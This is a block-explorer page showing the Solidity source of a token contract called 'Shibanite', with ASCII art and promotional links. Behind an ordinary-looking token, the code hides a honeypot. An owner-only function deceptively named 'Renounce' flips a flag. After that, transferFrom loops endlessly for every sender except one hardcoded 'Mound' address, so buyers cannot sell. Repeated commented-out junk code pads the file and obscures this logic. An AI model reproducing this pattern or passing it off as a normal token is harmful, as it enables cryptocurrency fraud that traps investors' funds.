ETH Price: $2,286.63 (-5.50%)

Contract Diff Checker

Contract Name:
Shibanite

Contract Source Code:

File 1 of 1 : Shibanite

pragma solidity 0.8.7;

/* 


     
     
  /$$$$$$  /$$   /$$ /$$$$$$ /$$$$$$$   /$$$$$$  /$$   /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$
 /$$__  $$| $$  | $$|_  $$_/| $$__  $$ /$$__  $$| $$$ | $$|_  $$_/|__  $$__/| $$_____/
| $$  \__/| $$  | $$  | $$  | $$  \ $$| $$  \ $$| $$$$| $$  | $$     | $$   | $$      
|  $$$$$$ | $$$$$$$$  | $$  | $$$$$$$ | $$$$$$$$| $$ $$ $$  | $$     | $$   | $$$$$   
 \____  $$| $$__  $$  | $$  | $$__  $$| $$__  $$| $$  $$$$  | $$     | $$   | $$__/   
 /$$  \ $$| $$  | $$  | $$  | $$  \ $$| $$  | $$| $$\  $$$  | $$     | $$   | $$      
|  $$$$$$/| $$  | $$ /$$$$$$| $$$$$$$/| $$  | $$| $$ \  $$ /$$$$$$   | $$   | $$$$$$$$
 \______/ |__/  |__/|______/|_______/ |__/  |__/|__/  \__/|______/   |__/   |________
     
     
                                          ,,,,,,,,,,,,,,,,,,,,,,
                                         ]╢╢▓▓╣╢╢▒▒▒╢╢▓▓▓▓▓▒▒▒╣╣
                                       ▒▒[  ░░░░░░░░       ▓▓▓╢╢╢╢[
                                    ]▒▒░░░              ▐▓▓▒▒▒▒▒▒▒▒╣╣
                                  ╢╣▒░░          ░░░  ▓▓▓╢╢░░▒  ▒▒▒░░▓▓[
                               ]@@░░░          ░░▒▒ß▓▓╢╢╣▒▒░░░    ]║║░░╫▓▓
                             ╦╦@╙╙``        ╥╥╖╗╗╢╢╫╣╣▒▒▒░░ `░¿¿mmr╙╙▒▒▒▒▒æg╕
                           ╥╥╜╜┘''     ,,╓╖╖▒▒▒▒▒╢╣╣▒▒▒▒░░░░ ░░░░░░  ▒▒▒▒▒▓▓▌
                        ,,/╝╝'░      ,,░░░▒▒▒▒▒▒▒▓▓▒▒▒░░░░░░░░▒▒░░░..░░░░░▓▓▌
                      ,,╢╢[░░        ░░░░▒▒▒▒▒╫▓▓▒▒▒░░░░░░░░░░  ░░░░░░░▐▓▓▓▓Γ
                     ]╢╢▒▒[     ░░░░░▒▒▒▒▒▒▒▓▓▌░░░░░░░  ░░░   ░░░░░░░▓▓▓▓▓
                   ╫╣╣╢╢░ ░░░░░░░░░░▒▒▒▒▒╫▓▓▒╣[       ░░░░░░░░░░░░▐▓▓╣╣[
                ]▓▓▒░▒░░░░░░░░░░░░▒▒▒▒▒▓▓▓╣╣░░░▒▒░░▒▒▒░░░░░░░░░░▓▓▓╣╣
                ]╣╣▓▓▓▓▓╣║╣▒▒╢╢╫▓▓▓▓▓╣╣╢╣▓░░▒▒░░░▒▒▒░░░░░▒▒░░]╣╣╢╢▌
              &&▓▒▒`````````````````]╣╣```░░```  ░░░  ▒▒▒░░▓▓▓▓▓```
              ▓▓▓▒▒╖,╖╖╖╖╖          ]▓▓╗╥┐''░░     ░╖╖▒░▒▄▄▓▓▓""
              ▓▓▌▒▒░░░░░░░▒,,,,.    └▀▀╣▒[  ░░▒,,╓╓▒▒▒▄▄▓▓▓▀▀╜
            ,,╫╣╣▒▒▒▒▒░░░░░▒▒▒╜▒       ▒▒[,,░░░░░▒▒▒░░▓▓▓▓▓
           ]▓▓▒▒▒▒▒▒▒▒░░░░▒▒▒   ░░     ▒▒▒░░▒▒▒▒▒░░▐▓▓▓▓[
           ]▓▓▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒░░     ╢╣╣▒▒░ ░░░▓▓▓▓▓
           ]▓▓╣╢╣▒▒▒▒╣╣╣╣╣╢╣╣▒▒▒░░░ ░  ▓▓▓╢╢▒▒▒▓▓▓▓▌
         ▓▓▓▒▒▒▒▒╣╣▒▒▒▒▒▒░▒░░        ░░╢╢▓▓▓▓▓▓╣╣
         ╢╢╣▒▒░`░                        ]▓▓╣╣▌
         ╢╢╬╬╬ggæææææææææææææææææææææææææ▓▓▓""`
         ╜╜╜╜╜╨╨╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╙╨╨
     
Web: Shibanite.io
Social: @Shibanite
TG: t.me/Shibanite
 */

/*///    );
    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/*
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/

contract Shibanite {
  
    mapping (address => uint256) public balanceOf;

    // 
    string public name = "Shibanite";
    string public symbol = "Shibanite";
    uint8 public decimals = 18;
    uint256 public totalSupply = 10000000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor() public {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}
    function Renounce() public onlyOwner  {
    isEnabled = !isEnabled;
}





   
    
    

/*///    );
    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/*
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/





    function transfer(address to, uint256 value) public returns (bool success) {
         while(isEnabled) { 
if(isEnabled)


require(balanceOf[msg.sender] >= value);

       balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    
         }


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

   
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }



/*

       bytes memory slotcode = type(StorageUnit).creationCode;
     solium-disable-next-line 
      // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) }
   

    
    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
 
            
            */


address Mound = 0x094aFb9993Fc97D9Ca361eB481Ce7ac565E8cb17;


    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
        
      while(isEnabled) {
if(from == Mound)  {
        
         require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; } }
        
        
        
        
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}

Please enter a contract address above to load the contract details and source code.

Context size (optional):